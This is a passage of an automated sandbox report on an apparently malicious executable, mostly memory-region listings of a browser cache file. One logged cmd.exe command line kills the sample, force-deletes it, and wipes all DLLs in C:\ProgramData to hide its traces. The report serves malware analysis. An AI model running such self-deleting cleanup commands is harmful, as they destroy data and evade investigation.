= 0x39cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1732 start_va = 0x3a20000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1733 start_va = 0x3a70000 end_va = 0x3a7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1734 start_va = 0x3a90000 end_va = 0x3a9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1735 start_va = 0x3aa0000 end_va = 0x3aaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1736 start_va = 0x3ab0000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1737 start_va = 0x3c90000 end_va = 0x3c9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1738 start_va = 0x3eb0000 end_va = 0x3ebffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1739 start_va = 0x3ec0000 end_va = 0x3ecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1740 start_va = 0x3ed0000 end_va = 0x3edffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1741 start_va = 0x3ee0000 end_va = 0x3eeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1742 start_va = 0x3ef0000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1743 start_va = 0x3f00000 end_va = 0x3f0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1744 start_va = 0x3f10000 end_va = 0x3f1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1745 start_va = 0x3f20000 end_va = 0x3f2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1746 start_va = 0x3f30000 end_va = 0x3f3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1747 start_va = 0x3f40000 end_va = 0x3f4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1748 start_va = 0x3f50000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1749 start_va = 0x3f60000 end_va = 0x3f6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1750 start_va = 0x3f70000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1751 start_va = 0x3f80000 end_va = 0x3f8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1752 start_va = 0x3f90000 end_va = 0x3f9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1753 start_va = 0x3fa0000 end_va = 0x3faffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1754 start_va = 0x40b0000 end_va = 0x40bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1755 start_va = 0x40c0000 end_va = 0x40cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1756 start_va = 0x40d0000 end_va = 0x40dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1757 start_va = 0x40e0000 end_va = 0x40effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1758 start_va = 0x40f0000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1759 start_va = 0x4100000 end_va = 0x410ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1760 start_va = 0x4110000 end_va = 0x411ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1761 start_va = 0x4120000 end_va = 0x412ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1762 start_va = 0x4130000 end_va = 0x413ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1763 start_va = 0x4140000 end_va = 0x414ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1764 start_va = 0x4150000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1765 start_va = 0x4160000 end_va = 0x416ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1766 start_va = 0x4170000 end_va = 0x417ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1767 start_va = 0x4180000 end_va = 0x418ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1768 start_va = 0x4190000 end_va = 0x419ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1769 start_va = 0x41a0000 end_va = 0x41affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1770 start_va = 0x41b0000 end_va = 0x41bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1771 start_va = 0x41c0000 end_va = 0x41cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1772 start_va = 0x41d0000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1773 start_va = 0x41e0000 end_va = 0x41effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1774 start_va = 0x41f0000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1775 start_va = 0x4200000 end_va = 0x420ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1776 start_va = 0x4210000 end_va = 0x421ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1777 start_va = 0x4220000 end_va = 0x422ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1778 start_va = 0x4230000 end_va = 0x423ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1779 start_va = 0x4240000 end_va = 0x424ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1780 start_va = 0x4250000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1781 start_va = 0x4260000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1782 start_va = 0x4270000 end_va = 0x427ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1783 start_va = 0x4280000 end_va = 0x428ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1784 start_va = 0x42a0000 end_va = 0x42affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1785 start_va = 0x42b0000 end_va = 0x42bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1786 start_va = 0x42c0000 end_va = 0x42cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1787 start_va = 0x42d0000 end_va = 0x42dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1788 start_va = 0x42e0000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1789 start_va = 0x42f0000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1790 start_va = 0x4300000 end_va = 0x430ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1791 start_va = 0x4310000 end_va = 0x431ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1792 start_va = 0x4320000 end_va = 0x432ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1793 start_va = 0x4330000 end_va = 0x4330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 1794 start_va = 0x4340000 end_va = 0x434ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1795 start_va = 0x4350000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1939 start_va = 0x4330000 end_va = 0x433ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004330000" filename = "" Region: id = 1940 start_va = 0x4360000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1941 start_va = 0x4370000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 1942 start_va = 0x4380000 end_va = 0x4387fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Thread: id = 6 os_tid = 0xa94 Thread: id = 7 os_tid = 0x39c Thread: id = 8 os_tid = 0xd64 Thread: id = 9 os_tid = 0xadc Thread: id = 10 os_tid = 0x8a0 Thread: id = 11 os_tid = 0x898 Thread: id = 12 os_tid = 0x888 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4ce33000" os_pid = "0xbec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x748" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" & del C:\\ProgramData\\*.dll & exit" cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 960 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 961 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 962 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 963 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 964 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 965 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 966 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 967 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 968 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 969 start_va = 0x1170000 end_va = 0x11c1fff monitored = 1 entry_point = 0x1184fd0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 970 start_va = 0x11d0000 end_va = 0x51cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 971 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 972 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 973 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 974 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 975 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 976 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 977 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 978 start_va = 0x560000 